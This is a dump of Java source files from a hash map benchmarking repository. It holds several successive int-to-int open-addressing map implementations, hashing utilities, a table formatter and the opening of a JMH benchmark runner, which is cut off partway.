text
stringlengths 2
104M
| meta
dict |
---|---|
package map.intint;
/**
* IntIntMap1 with the only change:
* Map capacity is now power of 2, array index is calculated with & instead of %
*/
public class IntIntMap2 implements IntIntMap
{
public static final int NO_KEY = 0;
public static final int NO_VALUE = 0;
/** Keys */
private int[] m_keys;
/** Values */
private int[] m_values;
/** Occupied? */
private boolean[] m_used;
/** Fill factor, must be between (0 and 1) */
private final float m_fillFactor;
/** We will resize a map once it reaches this size */
private int m_threshold;
/** Current map size */
private int m_size;
/** Mask to calculate the original position */
private int m_mask;
public IntIntMap2( final int size, final float fillFactor )
{
if ( fillFactor <= 0 || fillFactor >= 1 )
throw new IllegalArgumentException( "FillFactor must be in (0, 1)" );
if ( size <= 0 )
throw new IllegalArgumentException( "Size must be positive!" );
final int capacity = Tools.arraySize( size, fillFactor );
m_mask = capacity - 1;
m_fillFactor = fillFactor;
m_keys = new int[capacity];
m_values = new int[capacity];
m_used = new boolean[capacity];
m_threshold = (int) (capacity * fillFactor);
}
public int get( final int key )
{
final int idx = getReadIndex( key );
return idx != -1 ? m_values[ idx ] : NO_VALUE;
}
public int put( final int key, final int value )
{
int idx = getPutIndex( key );
if ( idx < 0 )
{ //no insertion point? Should not happen...
rehash( m_keys.length * 2 );
idx = getPutIndex( key );
}
final int prev = m_values[ idx ];
if ( !m_used[ idx ] )
{
m_keys[ idx ] = key;
m_values[ idx ] = value;
m_used[ idx ] = true;
++m_size;
if ( m_size >= m_threshold )
rehash( m_keys.length * 2 );
}
else //it means used cell with our key
{
assert m_keys[ idx ] == key;
m_values[ idx ] = value;
}
return prev;
}
public int remove( final int key )
{
int idx = getReadIndex( key );
if ( idx == -1 )
return NO_VALUE;
final int res = m_values[ idx ];
--m_size;
shiftKeys( idx );
return res;
}
public int size()
{
return m_size;
}
private void rehash( final int newCapacity )
{
m_threshold = (int) (newCapacity * m_fillFactor);
m_mask = newCapacity - 1;
final int oldCapacity = m_keys.length;
final int[] oldKeys = m_keys;
final int[] oldValues = m_values;
final boolean[] oldStates = m_used;
m_keys = new int[ newCapacity ];
m_values = new int[ newCapacity ];
m_used = new boolean[ newCapacity ];
m_size = 0;
for ( int i = oldCapacity; i-- > 0; ) {
if( oldStates[i] )
put( oldKeys[ i ], oldValues[ i ] );
}
}
/**
* Find key position in the map.
* @param key Key to look for
* @return Key position or -1 if not found
*/
private int getReadIndex( final int key )
{
int idx = getStartIndex( key );
if ( m_keys[ idx ] == key && m_used[ idx ] )
return idx;
if ( !m_used[ idx ] ) //end of chain already
return -1;
final int startIdx = idx;
while (( idx = getNextIndex( idx ) ) != startIdx )
{
if ( !m_used[ idx ] )
return -1;
if ( m_keys[ idx ] == key && m_used[ idx ] )
return idx;
}
return -1;
}
/**
* Find an index of a cell which should be updated by 'put' operation.
* It can be:
* 1) a cell with a given key
* 2) first free cell in the chain
* @param key Key to look for
* @return Index of a cell to be updated by a 'put' operation
*/
private int getPutIndex( final int key )
{
final int readIdx = getReadIndex( key );
if ( readIdx >= 0 )
return readIdx;
//key not found, find insertion point
final int startIdx = getStartIndex( key );
int idx = startIdx;
while ( m_used[ idx ] )
{
idx = getNextIndex( idx );
if ( idx == startIdx )
return -1;
}
return idx;
}
private int getStartIndex( final int key )
{
return Tools.phiMix(key) & m_mask;
}
private int getNextIndex( final int currentIndex )
{
return ( currentIndex + 1 ) & m_mask;
}
private int shiftKeys(int pos)
{
// Shift entries with the same hash.
int last, slot;
int k;
final int[] keys = this.m_keys;
while ( true )
{
last = pos;
pos = getNextIndex(pos);
while ( true )
{
k = keys[ pos ];
if ( !m_used[pos] )
{
keys[last] = NO_KEY;
m_values[ last ] = NO_VALUE;
m_used[ last ] = false;
return last;
}
slot = getStartIndex(k); //calculate the starting slot for the current key
if (last <= pos ? last >= slot || slot > pos : last >= slot && slot > pos) break;
pos = getNextIndex(pos);
}
keys[last] = k;
m_values[last] = m_values[pos];
m_used[last] = m_used[pos];
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package map.intint;
/**
* IntIntMap2 without states array.
* We introduce one extra pairs of fields - for key=0, which is used as 'used' flag
*/
public class IntIntMap3 implements IntIntMap
{
private static final int FREE_KEY = 0;
public static final int NO_VALUE = 0;
/** Keys */
private int[] m_keys;
/** Values */
private int[] m_values;
/** Do we have 'free' key in the map? */
private boolean m_hasFreeKey;
/** Value of 'free' key */
private int m_freeValue;
/** Fill factor, must be between (0 and 1) */
private final float m_fillFactor;
/** We will resize a map once it reaches this size */
private int m_threshold;
/** Current map size */
private int m_size;
/** Mask to calculate the original position */
private int m_mask;
public IntIntMap3( final int size, final float fillFactor )
{
if ( fillFactor <= 0 || fillFactor >= 1 )
throw new IllegalArgumentException( "FillFactor must be in (0, 1)" );
if ( size <= 0 )
throw new IllegalArgumentException( "Size must be positive!" );
final int capacity = Tools.arraySize( size, fillFactor );
m_mask = capacity - 1;
m_fillFactor = fillFactor;
m_keys = new int[capacity];
m_values = new int[capacity];
m_threshold = (int) (capacity * fillFactor);
}
public int get( final int key )
{
if ( key == FREE_KEY)
return m_hasFreeKey ? m_freeValue : NO_VALUE;
final int idx = getReadIndex( key );
return idx != -1 ? m_values[ idx ] : NO_VALUE;
}
public int put( final int key, final int value )
{
if ( key == FREE_KEY )
{
final int ret = m_freeValue;
if ( !m_hasFreeKey )
++m_size;
m_hasFreeKey = true;
m_freeValue = value;
return ret;
}
int idx = getPutIndex(key);
if ( idx < 0 )
{ //no insertion point? Should not happen...
rehash( m_keys.length * 2 );
idx = getPutIndex( key );
}
final int prev = m_values[ idx ];
if ( m_keys[ idx ] != key )
{
m_keys[ idx ] = key;
m_values[ idx ] = value;
++m_size;
if ( m_size >= m_threshold )
rehash( m_keys.length * 2 );
}
else //it means used cell with our key
{
assert m_keys[ idx ] == key;
m_values[ idx ] = value;
}
return prev;
}
public int remove( final int key )
{
if ( key == FREE_KEY )
{
if ( !m_hasFreeKey )
return NO_VALUE;
m_hasFreeKey = false;
final int ret = m_freeValue;
m_freeValue = NO_VALUE;
--m_size;
return ret;
}
int idx = getReadIndex(key);
if ( idx == -1 )
return NO_VALUE;
final int res = m_values[ idx ];
m_values[ idx ] = NO_VALUE;
shiftKeys(idx);
--m_size;
return res;
}
public int size()
{
return m_size;
}
private void rehash( final int newCapacity )
{
m_threshold = (int) (newCapacity * m_fillFactor);
m_mask = newCapacity - 1;
final int oldCapacity = m_keys.length;
final int[] oldKeys = m_keys;
final int[] oldValues = m_values;
m_keys = new int[ newCapacity ];
m_values = new int[ newCapacity ];
m_size = m_hasFreeKey ? 1 : 0;
for ( int i = oldCapacity; i-- > 0; ) {
if( oldKeys[ i ] != FREE_KEY )
put( oldKeys[ i ], oldValues[ i ] );
}
}
private int shiftKeys(int pos)
{
// Shift entries with the same hash.
int last, slot;
int k;
final int[] keys = this.m_keys;
while ( true )
{
last = pos;
pos = getNextIndex(pos);
while ( true )
{
if ((k = keys[pos]) == FREE_KEY)
{
keys[last] = FREE_KEY;
m_values[ last ] = NO_VALUE;
return last;
}
slot = getStartIndex(k); //calculate the starting slot for the current key
if (last <= pos ? last >= slot || slot > pos : last >= slot && slot > pos) break;
pos = getNextIndex(pos);
}
keys[last] = k;
m_values[last] = m_values[pos];
}
}
/**
* Find key position in the map.
* @param key Key to look for
* @return Key position or -1 if not found
*/
private int getReadIndex( final int key )
{
int idx = getStartIndex( key );
if ( m_keys[ idx ] == key ) //we check FREE prior to this call
return idx;
if ( m_keys[ idx ] == FREE_KEY ) //end of chain already
return -1;
final int startIdx = idx;
while (( idx = getNextIndex( idx ) ) != startIdx )
{
if ( m_keys[ idx ] == FREE_KEY )
return -1;
if ( m_keys[ idx ] == key )
return idx;
}
return -1;
}
/**
* Find an index of a cell which should be updated by 'put' operation.
* It can be:
* 1) a cell with a given key
* 2) first free cell in the chain
* @param key Key to look for
* @return Index of a cell to be updated by a 'put' operation
*/
private int getPutIndex( final int key )
{
final int readIdx = getReadIndex( key );
if ( readIdx >= 0 )
return readIdx;
//key not found, find insertion point
final int startIdx = getStartIndex( key );
if ( m_keys[ startIdx ] == FREE_KEY )
return startIdx;
int idx = startIdx;
while ( m_keys[ idx ] != FREE_KEY )
{
idx = getNextIndex( idx );
if ( idx == startIdx )
return -1;
}
return idx;
}
private int getStartIndex( final int key )
{
return Tools.phiMix( key ) & m_mask;
}
private int getNextIndex( final int currentIndex )
{
return ( currentIndex + 1 ) & m_mask;
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package map.intint;
/**
* Same as IntIntMap4, but using interleaving int[] instead of long[]
*/
public class IntIntMap4a implements IntIntMap
{
private static final int FREE_KEY = 0;
public static final int NO_VALUE = 0;
/** Keys and values */
private int[] m_data;
/** Do we have 'free' key in the map? */
private boolean m_hasFreeKey;
/** Value of 'free' key */
private int m_freeValue;
/** Fill factor, must be between (0 and 1) */
private final float m_fillFactor;
/** We will resize a map once it reaches this size */
private int m_threshold;
/** Current map size */
private int m_size;
/** Mask to calculate the original position */
private int m_mask;
private int m_mask2;
public IntIntMap4a( final int size, final float fillFactor )
{
if ( fillFactor <= 0 || fillFactor >= 1 )
throw new IllegalArgumentException( "FillFactor must be in (0, 1)" );
if ( size <= 0 )
throw new IllegalArgumentException( "Size must be positive!" );
final int capacity = Tools.arraySize(size, fillFactor);
m_mask = capacity - 1;
m_mask2 = capacity*2 - 1;
m_fillFactor = fillFactor;
m_data = new int[capacity * 2];
m_threshold = (int) (capacity * fillFactor);
}
public int get( final int key )
{
int ptr = ( Tools.phiMix( key ) & m_mask) << 1;
if ( key == FREE_KEY )
return m_hasFreeKey ? m_freeValue : NO_VALUE;
int k = m_data[ ptr ];
if ( k == FREE_KEY )
return NO_VALUE; //end of chain already
if ( k == key ) //we check FREE prior to this call
return m_data[ ptr + 1 ];
while ( true )
{
ptr = (ptr + 2) & m_mask2; //that's next index
k = m_data[ ptr ];
if ( k == FREE_KEY )
return NO_VALUE;
if ( k == key )
return m_data[ ptr + 1 ];
}
}
public int put( final int key, final int value )
{
if ( key == FREE_KEY )
{
final int ret = m_freeValue;
if ( !m_hasFreeKey )
++m_size;
m_hasFreeKey = true;
m_freeValue = value;
return ret;
}
int ptr = ( Tools.phiMix( key ) & m_mask) << 1;
int k = m_data[ptr];
if ( k == FREE_KEY ) //end of chain already
{
m_data[ ptr ] = key;
m_data[ ptr + 1 ] = value;
if ( m_size >= m_threshold )
rehash( m_data.length * 2 ); //size is set inside
else
++m_size;
return NO_VALUE;
}
else if ( k == key ) //we check FREE prior to this call
{
final int ret = m_data[ ptr + 1 ];
m_data[ ptr + 1 ] = value;
return ret;
}
while ( true )
{
ptr = ( ptr + 2 ) & m_mask2; //that's next index calculation
k = m_data[ ptr ];
if ( k == FREE_KEY )
{
m_data[ ptr ] = key;
m_data[ ptr + 1 ] = value;
if ( m_size >= m_threshold )
rehash( m_data.length * 2 ); //size is set inside
else
++m_size;
return NO_VALUE;
}
else if ( k == key )
{
final int ret = m_data[ ptr + 1 ];
m_data[ ptr + 1 ] = value;
return ret;
}
}
}
public int remove( final int key )
{
if ( key == FREE_KEY )
{
if ( !m_hasFreeKey )
return NO_VALUE;
m_hasFreeKey = false;
--m_size;
return m_freeValue; //value is not cleaned
}
int ptr = ( Tools.phiMix( key ) & m_mask) << 1;
int k = m_data[ ptr ];
if ( k == key ) //we check FREE prior to this call
{
final int res = m_data[ ptr + 1 ];
shiftKeys( ptr );
--m_size;
return res;
}
else if ( k == FREE_KEY )
return NO_VALUE; //end of chain already
while ( true )
{
ptr = ( ptr + 2 ) & m_mask2; //that's next index calculation
k = m_data[ ptr ];
if ( k == key )
{
final int res = m_data[ ptr + 1 ];
shiftKeys( ptr );
--m_size;
return res;
}
else if ( k == FREE_KEY )
return NO_VALUE;
}
}
private int shiftKeys(int pos)
{
// Shift entries with the same hash.
int last, slot;
int k;
final int[] data = this.m_data;
while ( true )
{
pos = ((last = pos) + 2) & m_mask2;
while ( true )
{
if ((k = data[pos]) == FREE_KEY)
{
data[last] = FREE_KEY;
return last;
}
slot = ( Tools.phiMix( k ) & m_mask) << 1; //calculate the starting slot for the current key
if (last <= pos ? last >= slot || slot > pos : last >= slot && slot > pos) break;
pos = (pos + 2) & m_mask2; //go to the next entry
}
data[last] = k;
data[last + 1] = data[pos + 1];
}
}
public int size()
{
return m_size;
}
private void rehash( final int newCapacity )
{
m_threshold = (int) (newCapacity/2 * m_fillFactor);
m_mask = newCapacity/2 - 1;
m_mask2 = newCapacity - 1;
final int oldCapacity = m_data.length;
final int[] oldData = m_data;
m_data = new int[ newCapacity ];
m_size = m_hasFreeKey ? 1 : 0;
for ( int i = 0; i < oldCapacity; i += 2 ) {
final int oldKey = oldData[ i ];
if( oldKey != FREE_KEY )
put( oldKey, oldData[ i + 1 ]);
}
}
// private int getStartIdx( final int key )
// {
// return ( Tools.phiMix( key ) & m_mask) << 1;
// }
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package map.intint;
/**
* Same as IntIntMap3, but now we merge keys and values into one long[], where
* lower 32 bits contain key (because they are cheaper to extract) and upper 32 bits contain value.
*/
public class IntIntMap4 implements IntIntMap
{
private static final int FREE_KEY = 0;
private static final long FREE_CELL = 0;
private static long KEY_MASK = 0xFFFFFFFFL;
public static final int NO_VALUE = 0;
/** Keys and values */
private long[] m_ar;
/** Do we have 'free' key in the map? */
private boolean m_hasFreeKey;
/** Value of 'free' key */
private int m_freeValue;
/** Fill factor, must be between (0 and 1) */
private final float m_fillFactor;
/** We will resize a map once it reaches this size */
private int m_threshold;
/** Current map size */
private int m_size;
/** Mask to calculate the original position */
private int m_mask;
public IntIntMap4( final int size, final float fillFactor )
{
if ( fillFactor <= 0 || fillFactor >= 1 )
throw new IllegalArgumentException( "FillFactor must be in (0, 1)" );
if ( size <= 0 )
throw new IllegalArgumentException( "Size must be positive!" );
final int capacity = Tools.arraySize( size, fillFactor );
m_mask = capacity - 1;
m_fillFactor = fillFactor;
m_ar = new long[capacity];
m_threshold = (int) (capacity * fillFactor);
}
public int get( final int key )
{
if ( key == FREE_KEY )
return m_hasFreeKey ? m_freeValue : NO_VALUE;
int idx = getStartIndex(key);
long c = m_ar[ idx ];
if ( c == FREE_CELL )
return NO_VALUE; //end of chain already
if ( ((int)(c & KEY_MASK)) == key ) //we check FREE prior to this call
return (int) (c >> 32);
while ( true )
{
idx = getNextIndex(idx);
c = m_ar[ idx ];
if ( c == FREE_CELL )
return NO_VALUE;
if ( ((int)(c & KEY_MASK)) == key )
return (int) (c >> 32);
}
}
public int put( final int key, final int value )
{
if ( key == FREE_KEY )
{
final int ret = m_freeValue;
if ( !m_hasFreeKey )
++m_size;
m_hasFreeKey = true;
m_freeValue = value;
return ret;
}
int idx = getStartIndex( key );
long c = m_ar[idx];
if ( c == FREE_CELL ) //end of chain already
{
m_ar[ idx ] = (((long)key) & KEY_MASK) | ( ((long)value) << 32 );
if ( m_size >= m_threshold )
rehash( m_ar.length * 2 ); //size is set inside
else
++m_size;
return NO_VALUE;
}
else if ( ((int)(c & KEY_MASK)) == key ) //we check FREE prior to this call
{
m_ar[ idx ] = (((long)key) & KEY_MASK) | ( ((long)value) << 32 );
return (int) (c >> 32);
}
while ( true )
{
idx = getNextIndex( idx );
c = m_ar[ idx ];
if ( c == FREE_CELL )
{
m_ar[ idx ] = (((long)key) & KEY_MASK) | ( ((long)value) << 32 );
if ( m_size >= m_threshold )
rehash( m_ar.length * 2 ); //size is set inside
else
++m_size;
return NO_VALUE;
}
else if ( ((int)(c & KEY_MASK)) == key )
{
m_ar[ idx ] = (((long)key) & KEY_MASK) | ( ((long)value) << 32 );
return (int) (c >> 32);
}
}
}
public int remove( final int key )
{
if ( key == FREE_KEY )
{
if ( !m_hasFreeKey )
return NO_VALUE;
m_hasFreeKey = false;
final int ret = m_freeValue;
m_freeValue = NO_VALUE;
--m_size;
return ret;
}
int idx = getStartIndex( key );
long c = m_ar[ idx ];
if ( c == FREE_CELL )
return NO_VALUE; //end of chain already
if ( ((int)(c & KEY_MASK)) == key ) //we check FREE prior to this call
{
--m_size;
shiftKeys( idx );
return (int) (c >> 32);
}
while ( true )
{
idx = getNextIndex( idx );
c = m_ar[ idx ];
if ( c == FREE_CELL )
return NO_VALUE;
if ( ((int)(c & KEY_MASK)) == key )
{
--m_size;
shiftKeys( idx );
return (int) (c >> 32);
}
}
}
public int size()
{
return m_size;
}
private int shiftKeys(int pos)
{
// Shift entries with the same hash.
int last, slot;
int k;
final long[] data = this.m_ar;
while ( true )
{
pos = ((last = pos) + 1) & m_mask;
while ( true )
{
if ((k = ((int)(data[pos] & KEY_MASK))) == FREE_KEY)
{
data[last] = FREE_CELL;
return last;
}
slot = getStartIndex(k); //calculate the starting slot for the current key
if (last <= pos ? last >= slot || slot > pos : last >= slot && slot > pos) break;
pos = (pos + 1) & m_mask; //go to the next entry
}
data[last] = data[pos];
}
}
private void rehash( final int newCapacity )
{
m_threshold = (int) (newCapacity * m_fillFactor);
m_mask = newCapacity - 1;
final int oldCapacity = m_ar.length;
final long[] oldData = m_ar;
m_ar = new long[ newCapacity ];
m_size = m_hasFreeKey ? 1 : 0;
for ( int i = oldCapacity; i-- > 0; ) {
final int oldKey = (int) (oldData[ i ] & KEY_MASK);
if( oldKey != FREE_KEY )
put( oldKey, (int) (oldData[ i ] >> 32));
}
}
private int getStartIndex( final int key )
{
return Tools.phiMix(key) & m_mask;
}
private int getNextIndex( final int currentIndex )
{
return ( currentIndex + 1 ) & m_mask;
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package map.intint;
/**
* Common methods
*/
public class Tools {
/** Taken from FastUtil implementation */
/** Return the least power of two greater than or equal to the specified value.
*
* <p>Note that this function will return 1 when the argument is 0.
*
* @param x a long integer smaller than or equal to 2<sup>62</sup>.
* @return the least power of two greater than or equal to the specified value.
*/
public static long nextPowerOfTwo( long x ) {
if ( x == 0 ) return 1;
x--;
x |= x >> 1;
x |= x >> 2;
x |= x >> 4;
x |= x >> 8;
x |= x >> 16;
return ( x | x >> 32 ) + 1;
}
/** Returns the least power of two smaller than or equal to 2<sup>30</sup> and larger than or equal to <code>Math.ceil( expected / f )</code>.
*
* @param expected the expected number of elements in a hash table.
* @param f the load factor.
* @return the minimum possible size for a backing array.
* @throws IllegalArgumentException if the necessary size is larger than 2<sup>30</sup>.
*/
public static int arraySize( final int expected, final float f ) {
final long s = Math.max( 2, nextPowerOfTwo( (long)Math.ceil( expected / f ) ) );
if ( s > (1 << 30) ) throw new IllegalArgumentException( "Too large (" + expected + " expected elements with load factor " + f + ")" );
return (int)s;
}
//taken from FastUtil
private static final int INT_PHI = 0x9E3779B9;
public static int phiMix( final int x ) {
final int h = x * INT_PHI;
return h ^ (h >> 16);
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package map.intint;
/**
* These methods will be implemented by all test maps
*/
public interface IntIntMap {
public int get( final int key );
public int put( final int key, final int value );
public int remove( final int key );
public int size();
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package map.intint;
/**
* The original version of int-int map.
* Has a lot of problems which will be fixed in the following versions.
*/
public class IntIntMap1 implements IntIntMap
{
public static final int NO_KEY = 0;
public static final int NO_VALUE = 0;
/** Keys */
private int[] m_keys;
/** Values */
private int[] m_values;
/** Occupied? */
private boolean[] m_used;
/** Fill factor, must be between (0 and 1) */
private final float m_fillFactor;
/** We will resize a map once it reaches this size */
private int m_threshold;
/** Current map size */
private int m_size;
public IntIntMap1( final int size, final float fillFactor )
{
if ( fillFactor <= 0 || fillFactor >= 1 )
throw new IllegalArgumentException( "FillFactor must be in (0, 1)" );
if ( size <= 0 )
throw new IllegalArgumentException( "Size must be positive!" );
final long capacity = (long) (size / fillFactor + 1);
if ( capacity > Integer.MAX_VALUE )
throw new IllegalArgumentException( "Too large map capacity requested! Requested = " + capacity +
"; max possible = " + Integer.MAX_VALUE );
m_keys = new int[(int) capacity];
m_values = new int[(int) capacity];
m_used = new boolean[(int) capacity];
m_threshold = size;
m_fillFactor = fillFactor;
}
public int get( final int key )
{
final int idx = getReadIndex( key );
return idx != -1 ? m_values[ idx ] : NO_VALUE;
}
public int put( final int key, final int value )
{
int idx = getPutIndex( key );
if ( idx < 0 )
{ //no insertion point? Should not happen...
rehash( m_keys.length * 2 );
idx = getPutIndex( key );
}
final int prev = m_values[ idx ];
if ( !m_used[ idx ] )
{
m_keys[ idx ] = key;
m_values[ idx ] = value;
m_used[ idx ] = true;
++m_size;
if ( m_size >= m_threshold )
rehash( m_keys.length * 2 );
}
else //it means used cell with our key
{
assert m_keys[ idx ] == key;
m_values[ idx ] = value;
}
return prev;
}
public int remove( final int key )
{
int idx = getReadIndex( key );
if ( idx == -1 )
return NO_VALUE;
final int res = m_values[ idx ];
shiftKeys( idx );
--m_size;
return res;
}
public int size()
{
return m_size;
}
private void rehash( final int newCapacity )
{
m_threshold = (int) (newCapacity * m_fillFactor);
final int oldCapacity = m_keys.length;
final int[] oldKeys = m_keys;
final int[] oldValues = m_values;
final boolean[] oldStates = m_used;
m_keys = new int[ newCapacity ];
m_values = new int[ newCapacity ];
m_used = new boolean[ newCapacity ];
m_size = 0;
for ( int i = oldCapacity; i-- > 0; ) {
if( oldStates[i] )
put( oldKeys[ i ], oldValues[ i ] );
}
}
/**
* Find key position in the map.
* @param key Key to look for
* @return Key position or -1 if not found
*/
private int getReadIndex( final int key )
{
int idx = getStartIndex( key );
if ( m_keys[ idx ] == key && m_used[ idx ] )
return idx;
if ( !m_used[ idx ] ) //end of chain already
return -1;
final int startIdx = idx;
while (( idx = getNextIndex( idx ) ) != startIdx )
{
if ( !m_used[ idx ] )
return -1;
if ( m_keys[ idx ] == key && m_used[ idx ] )
return idx;
}
return -1;
}
/**
* Find an index of a cell which should be updated by 'put' operation.
* It can be:
* 1) a cell with a given key
* 2) first free cell in the chain
* @param key Key to look for
* @return Index of a cell to be updated by a 'put' operation
*/
private int getPutIndex( final int key )
{
final int readIdx = getReadIndex( key );
if ( readIdx >= 0 )
return readIdx;
//key not found, find insertion point
final int startIdx = getStartIndex( key );
int idx = startIdx;
while ( m_used[ idx ] )
{
idx = getNextIndex( idx );
if ( idx == startIdx )
return -1;
}
return idx;
}
private int getStartIndex( final int key )
{
final int idx = Tools.phiMix( key ) % m_keys.length;
return idx >= 0 ? idx : -idx;
}
private int getNextIndex( final int currentIndex )
{
return currentIndex < m_keys.length - 1 ? currentIndex + 1 : 0;
}
private int shiftKeys(int pos)
{
// Shift entries with the same hash.
int last, slot;
int k;
final int[] keys = this.m_keys;
while ( true )
{
last = pos;
pos = getNextIndex(pos);
while ( true )
{
k = keys[ pos ];
if ( !m_used[pos] )
{
keys[last] = NO_KEY;
m_values[ last ] = NO_VALUE;
m_used[ last ] = false;
return last;
}
slot = getStartIndex(k); //calculate the starting slot for the current key
if (last <= pos ? last >= slot || slot > pos : last >= slot && slot > pos) break;
pos = getNextIndex(pos);
}
keys[last] = k;
m_values[last] = m_values[pos];
m_used[last] = m_used[pos];
}
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
/**
* This package contains several versions of int-int hash map.
* They will be used for an article I am planning for java-performance.info.
* Classes of this package could be used strictly for learning purposes.
*/
package map.intint; | {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests;
/**
* Formatting HTML tables for article
*/
public class TableFormatter {
public static void main(String[] args) {
final String text = "\t10000\t100000\t1000000\t10000000\t100000000\n" +
"tests.maptests.object.FastUtilObjMapTest\t1720\t3002\t6015\t9360\t13292\n" +
"tests.maptests.object.KolobokeMutableObjTest\t1146\t1378\t2928\t6215\t5945\n" +
"tests.maptests.object.HppcObjMapTest\t1726\t3085\t5692\t9125\t13139\n" +
"tests.maptests.object.GsObjMapTest\t1566\t2242\t4582\t6012\t8110\n" +
"tests.maptests.object.JdkMapTest\t1151\t1776\t3759\t5341\t11523\n" +
"tests.maptests.object.TroveObjMapTest\t2065\t2979\t5713\t10266\t12631\n";
final String[] lines = text.split("\n");
final StringBuilder sb = new StringBuilder( 1024 );
sb.append("<table border=\"1\">\n");
for ( final String line : lines )
{
final String[] parts = line.split("\t");
sb.append("\t<tr>");
for ( final String part : parts )
{
sb.append( "<td>" );
sb.append( part.isEmpty() ? " " : part );
sb.append( "</td>" );
}
sb.append("</tr>\n");
}
sb.append("</table>");
System.out.println( sb );
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests;
import com.carrotsearch.hppc.IntHashSet;
/**
* Created by Mike on 3/01/2015.
*/
public class AddAllTest {
public static void main(String[] args) {
final long start = System.currentTimeMillis();
final IntHashSet a = new com.carrotsearch.hppc.IntHashSet();
for( int i = 10000000; i-- != 0; ) a.add(i);
IntHashSet b = new com.carrotsearch.hppc.IntHashSet(a.size());
b.addAll(a);
b = new com.carrotsearch.hppc.IntHashSet();
b.addAll(a);
final long time = System.currentTimeMillis() - start;
System.out.println( time / 1000.0 );
System.out.println( b.size() );
}
}
| {
"repo_name": "mikvor/hashmapTest",
"stars": "94",
"repo_language": "Java",
"file_name": "BaseIntIntMapTest.java",
"mime_type": "text/x-java"
} |
package tests;
import org.openjdk.jmh.annotations.*;
import org.openjdk.jmh.results.RunResult;
import org.openjdk.jmh.runner.Runner;
import org.openjdk.jmh.runner.RunnerException;
import org.openjdk.jmh.runner.options.Options;
import org.openjdk.jmh.runner.options.OptionsBuilder;
import tests.maptests.IMapTest;
import tests.maptests.ITestSet;
import tests.maptests.article_examples.*;
import tests.maptests.identity_object.*;
import tests.maptests.object.*;
import tests.maptests.object_prim.*;
import tests.maptests.prim_object.*;
import tests.maptests.primitive.*;
import java.util.*;
import java.util.concurrent.TimeUnit;
/*
Master plan:
1) add following test cases:
1.1) 2 added, 1 (previously inserted) removed - until reached the map size
*/
@OutputTimeUnit(TimeUnit.MILLISECONDS)
@State(Scope.Thread)
public class MapTestRunner {
private static final boolean BILLION_TEST = false;
private static final int START_SIZE = BILLION_TEST ? 1000 * 1000 * 1000 : 10 * 1000;
private static final int TOTAL_SIZE = BILLION_TEST ? 1000 * 1000 * 1000 : 100 * 1000 * 1000;
private final static int[] MAP_SIZES;
static {
MAP_SIZES = new int[(int) (Math.log10( TOTAL_SIZE ) - Math.log10( START_SIZE ) + 1)];
int start = START_SIZE;
int p = 0;
while ( start <= TOTAL_SIZE )
{
MAP_SIZES[ p++ ] = start;
start *= 10;
}
}
private static final float FILL_FACTOR = 0.5f;
//share of unsuccessful get operations (approx)
//increase this value significantly (Integer.MAX_VALUE is a good candidate) to revert to the original "always successful get" tests
private static final int ONE_FAIL_OUT_OF = 2;
private static final Class<?>[] TESTS_ARTICLE = {
IntIntMap1Test.class,
IntIntMap2Test.class,
IntIntMap3Test.class,
IntIntMap4Test.class,
IntIntMap4aTest.class,
};
private static final Class<?>[] TESTS_PRIMITIVE = {
FastUtilMapTest.class,
GsMutableMapTest.class,
KolobokeMutableMapTest.class, //+
HppcMapTest.class,
TroveMapTest.class, //+
AgronaMapTest.class,
};
private static final Class<?>[] TESTS_WRAPPER = {
FastUtilObjMapTest.class,
KolobokeMutableObjTest.class, //+
KolobokeNotNullKeyObjTest.class,
KolobokeHashCodeMixingObjTest.class,
HppcObjMapTest.class,
GsObjMapTest.class,
JdkMapTest.class, //+
JdkMapTestDifferentCapacity.class, //+
TroveObjMapTest.class, //+
ObjObjMapTest.class, //
AgronaObjMapTest.class,
};
private static final Class<?>[] TESTS_PRIMITIVE_WRAPPER = {
FastUtilIntObjectMapTest.class,
GsIntObjectMapTest.class,
KolobokeIntObjectMapTest.class, //+
HppcIntObjectMapTest.class,
TroveIntObjectMapTest.class, //+
AgronaIntObjectMapTest.class,
};
private static final Class<?>[] TESTS_WRAPPER_PRIMITIVE = {
FastUtilObjectIntMapTest.class,
GsObjectIntMapTest.class,
KolobokeObjectIntMapTest.class, //+
HppcObjectIntMapTest.class,
TroveObjectIntMapTest.class, //+
AgronaObjectIntMapTest.class,
};
private static final Class<?>[] TESTS_IDENTITY = {
FastUtilRef2ObjectMapTest.class,
GsIdentityMapTest.class,
KolobokeIdentityMapTest.class,
HppcIdentityMapTest.class,
JDKIdentityMapTest.class,
TroveIdentityMapTest.class,
};
public static void main(String[] args) throws RunnerException, InstantiationException, IllegalAccessException
{
final LinkedHashMap<String, String> res = new LinkedHashMap<>(3);
res.put( "get", runTestSet( "get" ) );
res.put( "put", runTestSet( "put" ) );
res.put( "remove", runTestSet( "remove" ) );
for ( final Map.Entry<String, String> entry : res.entrySet() )
{
System.out.println( "Results for '" + entry.getKey() + "':" );
System.out.println( entry.getValue() );
System.out.println();
}
}
private static String runTestSet(final String testSetName) throws RunnerException, InstantiationException, IllegalAccessException
{
final List<Class<?>> tests = new ArrayList<>();
tests.addAll( Arrays.asList( TESTS_ARTICLE ) );
